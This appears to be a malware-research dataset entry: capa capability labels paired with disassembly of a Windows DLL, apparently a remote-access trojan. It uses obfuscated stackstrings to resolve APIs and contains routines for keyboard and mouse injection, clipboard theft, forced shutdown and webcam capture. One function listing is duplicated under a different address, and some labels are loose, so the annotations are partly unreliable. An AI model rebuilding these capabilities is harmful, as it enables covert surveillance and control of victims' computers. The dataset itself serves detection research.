joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008300
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x19], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], cl
mov cl, 0x74
mov byte [esp + 0x15], al
mov byte [esp + 0x18], al
mov byte [esp + 6], al
mov byte [esp + 9], al
mov byte [esp + 0xc], al
mov byte [esp + 8], cl
mov byte [esp + 0xe], cl
lea eax, [esp + 4]
push edi
lea ecx, [esp + 0x18]
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x10015384
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], dl
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2c], 0
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x13], 0x61
mov byte [esp + 0x16], 0x45
mov byte [esp + 0x17], 0x76
mov byte [esp + 0x19], dl
mov byte [esp + 0x1b], 0x41
mov byte [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x2c]
push esi
mov edi, eax
mov dword [esi + 4], ecx
call fcn.10002d10
push 0
push 0
push 1
push 0
call edi
mov dword [esi + 8], eax
mov eax, esi
pop edi
pop esi
add esp, 0x20
ret 4

Function at 0x100084c0
Capabilities:
Create directory
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x10014ad8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push ebx
push esi
push edi
mov ebx, ecx
push eax
mov dword [esp + 0x10], ebx
call fcn.10008300
xor eax, eax
mov ecx, 0x41
push eax
mov edi, 0x1001ac34
push 5
mov dword [ebx], 0x1001538c
push 0x1001ac34
push eax
rep stosd dword es:[edi], eax
mov dword [esp + 0x28], 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edi, str.Plugin
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edx, ecx
mov edi, 0x1001ac34
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x1001ac34
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x1001ac34
call dword [sym.imp.MSVCRT.dll_puts]
add esp, 4
lea eax, [esp + 0x20]
mov ecx, ebx
mov byte [esp + 0x20], 0x81
push 1
push eax
call fcn.10008420
mov ecx, ebx
call fcn.10008490
push 0
push 0
push 0
push ebx
push 0x10008ba0
push 0
push 0
call fcn.1000b770
mov ecx, dword [esp + 0x2c]
add esp, 0x1c
mov eax, ebx
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4
Function at 0x100085e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x3c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x10]
push edi
lea ecx, [esp + 0x2c]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x34], 0x6b
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x72
mov byte [esp + 0x37], 0x6e
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], 0x6c
mov byte [esp + 0x3a], 0x33
mov byte [esp + 0x3b], 0x32
mov byte [esp + 0x3c], 0x2e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x3e], 0x6c
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0
mov byte [esp + 0x1c], 0x57
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x46
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x20]
lea eax, [esp + 0x3c]
push edx
push eax
mov byte [esp + 0x44], 0x6b
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x72
mov byte [esp + 0x47], 0x6e
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x6c
mov byte [esp + 0x4a], 0x33
mov byte [esp + 0x4b], 0x32
mov byte [esp + 0x4c], 0x2e
mov byte [esp + 0x4d], 0x64
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x6c
mov byte [esp + 0x50], 0
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2c], 0x74
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x46
mov byte [esp + 0x2f], 0x69
mov byte [esp + 0x30], 0x6c
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x41
mov byte [esp + 0x33], 0
call esi
push eax
call edi
mov ecx, dword [esp + 0x58]
xor esi, esi
push esi
push 0x80
push 4
push esi
push 3
push 0x40000000
push ecx
call eax
mov edi, eax
cmp edi, 0xffffffff
jne 0x10008726
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x3c
ret
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [esp + 0x54]
mov dword [esp + 0x10], esi
mov ecx, dword [esp + 0x50]
lea edx, [esp + 0x10]
mov eax, ebx
push 0
push edx
sub eax, esi
lea edx, [esi + ecx]
push eax
push edx
push edi
call ebp
add esi, dword [esp + 0x10]
cmp esi, ebx
jb 0x10008739
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x3c
ret
Function at 0x10008e00
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x10014b0e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
mov eax, dword [esp + 0x54]
push ebx
push ebp
push esi
push edi
mov esi, ecx
push eax
mov dword [esp + 0x14], esi
call fcn.10008300
mov dword [esp + 0x5c], 0
mov dword [esi + 0x24], 0x1001539c
mov dword [esp + 0x14], 0x7f8a
mov dword [esp + 0x18], 0x7f00
mov dword [esp + 0x1c], 0x7f03
mov dword [esp + 0x20], 0x7f89
mov dword [esp + 0x24], 0x7f8b
mov dword [esp + 0x28], 0x7f01
mov dword [esp + 0x2c], 0x7f81
mov dword [esp + 0x30], 0x7f88
mov dword [esp + 0x34], 0x7f80
mov dword [esp + 0x38], 0x7f86
mov dword [esp + 0x3c], 0x7f83
mov dword [esp + 0x40], 0x7f85
mov dword [esp + 0x44], 0x7f82
mov dword [esp + 0x48], 0x7f84
mov dword [esp + 0x4c], 0x7f04
mov dword [esp + 0x50], 0x7f02
lea ebp, [esp + 0x14]
lea edi, [esi + 0x68]
mov ebx, 0x10
mov eax, dword [ebp]
push eax
push 0
mov dword [edi - 0x40], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [edi], eax
add ebp, 4
add edi, 4
dec ebx
jne 0x10008ec7
mov ebx, 1
push 0x110
mov byte [esp + 0x60], bl
mov dword [esi], 0x10015394
mov byte [esi + 0x13], bl
mov dword [esi + 0x18], 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [esp + 0x64], eax
test eax, eax
mov byte [esp + 0x5c], 2
je 0x10008f23
push 0x64
push 0
push 8
mov ecx, eax
call fcn.10009c70
jmp 0x10008f25
xor eax, eax
push ebx
push 0
push 0
push esi
push 0x10009630
push 0
push 0
mov byte [esp + 0x78], bl
mov dword [esi + 0xa8], eax
mov byte [esi + 0x10], bl
mov byte [esi + 0x12], 0
mov byte [esi + 0x11], 0
mov byte [esi + 0x14], 0
call fcn.1000b770
push ebx
push 0
push 0
push esi
push 0x100096a0
push 0
push 0
mov dword [esi + 0x1c], eax
call fcn.1000b770
mov ecx, dword [esp + 0x8c]
add esp, 0x38
mov dword [esi + 0x20], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x50
ret 4
Function at 0x100098b0
Capabilities:
Log keystrokes

Disassembly:
push ecx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.mouse_event
push str.USER32.dll
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0x18]
mov edi, eax
mov eax, esi
xor edx, edx
mov ecx, 0x1c
mov dword [esp + 0xc], edi
div ecx
test edx, edx
jne 0x10009aa3
call fcn.1000b880
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x10009aa3
mov edx, dword [esp + 0x14]
push ebx
mov dword [esp + 0x1c], esi
lea ebx, [edx + 8]
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x10009971
cmp eax, 0x208
ja 0x10009971
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
push str.SetCursorPos
push str.USER32.dll
shr edi, 0x10
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push esi
call eax
push str.SetCapture
push str.USER32.dll
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push esi
mov ebp, eax
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [esp + 0x10]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x10009a21
je 0x10009a09
cmp eax, 0x105
ja 0x100099dd
je 0x100099bf
sub eax, 0x100
je 0x100099a1
dec eax
je 0x100099bf
sub eax, 3
jne case.0x10009a2b.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x10009a2b.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x10009a2b.521
sub eax, 0x201
je 0x100099fa
dec eax
jne case.0x10009a2b.521
push 0
push 0
push 0
push 0
push 4
jmp 0x10009a8e
push 0
push 0
push 0
push 0
push 2
jmp 0x10009a8e
push 0
push 0
push 0
push 0
push 6
call edi
push 0
push 0
push 0
push 0
push 6
jmp 0x10009a8e
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x10009a2b.521
jmp dword [eax*4 + 0x10009aac]
push 0
push 0
push 0
push 0
push 8
jmp 0x10009a8e
push 0
push 0
push 0
push 0
push 0x10
jmp 0x10009a8e
push 0
push 0
push 0
push 0
push 0x18
call edi
push 0
push 0
push 0
push 0
push 0x18
jmp 0x10009a8e
push 0
push 0
push 0
push 0
push 0x20
jmp 0x10009a8e
push 0
push 0
push 0
push 0
push 0x40
jmp 0x10009a8e
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call edi
mov eax, dword [esp + 0x1c]
add ebx, 0x1c
dec eax
mov dword [esp + 0x1c], eax
jne 0x10009913
pop ebx
pop edi
pop esi
pop ebp
pop ecx
ret 8
Function at 0x10009a32
Capabilities:
Log keystrokes

Disassembly:
push ecx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.mouse_event
push str.USER32.dll
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0x18]
mov edi, eax
mov eax, esi
xor edx, edx
mov ecx, 0x1c
mov dword [esp + 0xc], edi
div ecx
test edx, edx
jne 0x10009aa3
call fcn.1000b880
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x10009aa3
mov edx, dword [esp + 0x14]
push ebx
mov dword [esp + 0x1c], esi
lea ebx, [edx + 8]
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x10009971
cmp eax, 0x208
ja 0x10009971
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
push str.SetCursorPos
push str.USER32.dll
shr edi, 0x10
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push esi
call eax
push str.SetCapture
push str.USER32.dll
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push esi
mov ebp, eax
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [esp + 0x10]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x10009a21
je 0x10009a09
cmp eax, 0x105
ja 0x100099dd
je 0x100099bf
sub eax, 0x100
je 0x100099a1
dec eax
je 0x100099bf
sub eax, 3
jne case.0x10009a2b.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x10009a2b.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x10009a2b.521
sub eax, 0x201
je 0x100099fa
dec eax
jne case.0x10009a2b.521
push 0
push 0
push 0
push 0
push 4
jmp 0x10009a8e
push 0
push 0
push 0
push 0
push 2
jmp 0x10009a8e
push 0
push 0
push 0
push 0
push 6
call edi
push 0
push 0
push 0
push 0
push 6
jmp 0x10009a8e
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x10009a2b.521
jmp dword [eax*4 + 0x10009aac]
push 0
push 0
push 0
push 0
push 8
jmp 0x10009a8e
push 0
push 0
push 0
push 0
push 0x10
jmp 0x10009a8e
push 0
push 0
push 0
push 0
push 0x18
call edi
push 0
push 0
push 0
push 0
push 0x18
jmp 0x10009a8e
push 0
push 0
push 0
push 0
push 0x20
jmp 0x10009a8e
push 0
push 0
push 0
push 0
push 0x40
jmp 0x10009a8e
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call edi
mov eax, dword [esp + 0x1c]
add ebx, 0x1c
dec eax
mov dword [esp + 0x1c], eax
jne 0x10009913
pop ebx
pop edi
pop esi
pop ebp
pop ecx
ret 8
Function at 0x10009ad0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10009b38
push ebx
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x10]
push esi
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x10009b30
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, esi
mov esi, dword [esp + 0x10]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebx
ret 8

Function at 0x10009b40
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 8
push esi
mov dword [esp + 8], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10009bd2
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [esp + 4], esi
jne 0x10009b71
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
add esp, 8
ret
push ebx
push ebp
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov ebx, eax
push esi
inc ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
mov esi, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [ebx - 1]
mov ebp, eax
mov eax, ecx
add esp, 4
lea edi, [ebp + 1]
mov byte [ebp], 0x76
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x14]
push ebx
push ebp
call fcn.10008420
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret
Function at 0x1000b510
Capabilities:
Shutdown system

Disassembly:
push str.SeShutdownPrivilege
call fcn.1000d730
mov eax, dword [esp + 8]
add esp, 4
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push str.SeShutdownPrivilege
call fcn.1000d730
pop ecx
ret

Function at 0x1000b770
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x30
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x15], cl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], cl
mov cl, 0x74
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 2], al
mov byte [esp + 5], al
mov byte [esp + 8], al
mov byte [esp + 4], cl
mov byte [esp + 0xa], cl
lea eax, [esp]
push esi
lea ecx, [esp + 0x14]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x1c], 0x6b
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], dl
mov byte [esp + 0x22], 0x33
mov byte [esp + 0x23], 0x32
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x28], 0
mov byte [esp + 0xc], 0x43
mov byte [esp + 0xd], 0x72
mov byte [esp + 0xf], 0x61
mov byte [esp + 0x12], 0x45
mov byte [esp + 0x13], 0x76
mov byte [esp + 0x15], dl
mov byte [esp + 0x17], 0x41
mov byte [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esp + 0x40]
mov ecx, dword [esp + 0x44]
push 0
mov dword [esp + 0x28], edx
mov dl, byte [esp + 0x54]
push 0
push 0
push 0
mov dword [esp + 0x38], ecx
mov byte [esp + 0x3c], dl
call eax
mov ecx, dword [esp + 0x48]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x4c]
lea edx, [esp + 0x24]
push eax
mov eax, dword [esp + 0x40]
push ecx
mov ecx, dword [esp + 0x40]
push edx
push 0x1000b6f0
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x48]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x30
ret

Function at 0x1000ba70
Capabilities:
Simulate ctrl alt del

Disassembly:
sub esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov esi, eax
mov al, 0x6f
mov byte [esp + 5], al
mov byte [esp + 7], al
lea eax, [esp + 4]
mov cl, 0x6e
push eax
mov byte [esp + 8], cl
mov byte [esp + 0xa], 0x67
mov byte [esp + 0xc], 0x6c
mov byte [esp + 0xd], cl
mov byte [esp + 0xe], 0x69
mov byte [esp + 0xf], 0x57
mov byte [esp + 0x10], 0
call dword [sym.imp.MSVCRT.dll__strrev]
lea ecx, [esp + 8]
push ecx
call fcn.1000ba10
add esp, 8
test eax, eax
jne 0x1000bad1
pop esi
add esp, 0xc
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x1000baf5
push esi
call fcn.1000b9a0
add esp, 4
mov eax, 1
pop esi
add esp, 0xc
ret
Function at 0x1000bd70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x21], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], cl
mov cl, 0x74
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0xe], al
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x10], cl
mov byte [esp + 0x16], cl
lea eax, [esp + 0xc]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x20]
mov bl, 0x72
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x100153b4
mov byte [esp + 0x28], 0x6b
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x34], 0
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], bl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1e], 0x45
mov byte [esp + 0x1f], 0x76
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x41
mov byte [esp + 0x24], 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.user32.dll
mov ebx, eax
call edi
push 0
push 0
push 0
push 0
mov dword [0x1001ad74], eax
call ebx
xor ebx, ebx
mov dword [esi + 4], eax
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
call fcn.1000bfc0
test al, al
je 0x1000bec1
mov al, byte [0x1001ad70]
test al, al
jne 0x1000bec1
mov edx, dword [0x1001ad74]
push str.CreateWindowExA
push edx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push connect
push 0x1001a54c
push str.32770
push ebx
call eax
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esi + 0x10], eax
call ebx
add esp, 4
push str.AVICAP32.dll
call edi
mov edi, eax
push str.capCreateCaptureWindowA
push edi
call ebp
mov ecx, dword [esi + 0x10]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x50000000
push str.CVideoCap
call eax
push 0x30
mov dword [esi + 0x14], eax
call ebx
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x1000ca60
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, 4
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [esp + 4]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push str.MHz
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0xc]
add esp, 0x10
ret
Function at 0x1000d160
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x40
mov al, 0x64
mov cl, 0x65
mov byte [esp + 1], al
mov byte [esp + 9], al
mov al, 0x6c
mov byte [esp + 0x11], cl
mov byte [esp + 0xa], al
mov byte [esp + 0xb], al
mov al, 0x74
mov byte [esp + 0x14], cl
mov byte [esp + 0x12], al
mov byte [esp + 0x1b], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x19], cl
lea eax, [esp + 0x10]
lea ecx, [esp]
mov dl, 0x53
push eax
push ecx
mov byte [esp + 8], 0x61
mov byte [esp + 0xa], 0x76
mov byte [esp + 0xb], 0x61
mov byte [esp + 0xc], 0x70
mov byte [esp + 0xd], 0x69
mov byte [esp + 0xe], 0x33
mov byte [esp + 0xf], 0x32
mov byte [esp + 0x10], 0x2e
mov byte [esp + 0x14], 0
mov byte [esp + 0x18], dl
mov byte [esp + 0x1b], dl
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0x76
mov byte [esp + 0x1f], 0x69
mov byte [esp + 0x20], 0x63
mov byte [esp + 0x22], dl
mov byte [esp + 0x24], 0x61
mov byte [esp + 0x26], 0x75
mov byte [esp + 0x27], 0x73
mov byte [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esp + 0x44]
mov ecx, dword [esp + 0x48]
mov dword [esp + 0x28], edx
mov edx, dword [esp + 0x4c]
mov dword [esp + 0x30], ecx
mov dword [esp + 0x38], edx
mov edx, dword [0x1001ad8c]
lea ecx, [esp + 0x24]
push ecx
push edx
mov dword [esp + 0x2c], 0x20
mov dword [esp + 0x34], 4
mov dword [esp + 0x3c], 0
mov dword [esp + 0x44], 0x3e8
call eax
add esp, 0x40
ret